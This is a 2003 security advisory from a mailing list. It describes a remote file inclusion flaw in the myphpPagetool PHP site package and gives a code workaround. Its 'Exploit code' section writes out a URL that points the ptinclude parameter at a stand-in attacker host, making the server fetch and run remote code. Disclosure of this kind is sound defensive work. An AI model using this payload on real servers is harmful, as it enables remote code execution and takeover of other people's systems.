[UNIX] Vulnerability in myphpPagetool Enables Arbitrary Code Execution
From: support@securiteam.com
Date: 03/02/03
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From: support@securiteam.com To: list@securiteam.com Date: 2 Mar 2003 23:51:57 +0200
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Vulnerability in myphpPagetool Enables Arbitrary Code Execution
------------------------------------------------------------------------
SUMMARY
<http://myphppagetool.sourceforge.net> myphpPagetool is a complete
package to drive your Website.
It is completely written using the php script language and uses the mysql
database to store and manage all pages, images, layout and users/groups.
A vulnerability in the program allows remote users to execute arbitrary
commands on the server.
DETAILS
Vulnerable versions:
* 0.4.3-1 and below
The vulnerability is caused by using the administrators help files located
at:
/doc/admin
and titled:
index.php , help1.php , help2.php, ... , help9.php.
The files contain this unsafe code:
"----------------------------------------
<?php
include ($ptinclude . "/pt_config.inc");
[...]
----------------------------------------"
Therefore allowing a remote user to include his/her own pt_config.inc on
their site.
Exploit code:
If the user has set regisers_global = ON then the following attack is
possible:
http://www.example.com/myphpPagetool.directory/doc/admin/index.php?ptinclude=http://attackersaddress
While the attacker prepares his/her own:
http://attackersaddress/pt_config.inc
Solution:
Search <http://www.phpsecure.org> phpsecure.org for their security patch.
The site is French but it is very intuitive: simply search for
"phpmyPagetool".
Workaround:
Replace in each file the line:
include ($ptinclude. "/pt_config.inc");
With:
if (file_exists($ptinclude . "/pt_config.inc")){
include ($ptinclude . "/pt_config.inc");
}
ADDITIONAL INFORMATION
Information was provided by <mailto:frog-man@frog-man.org > frog man
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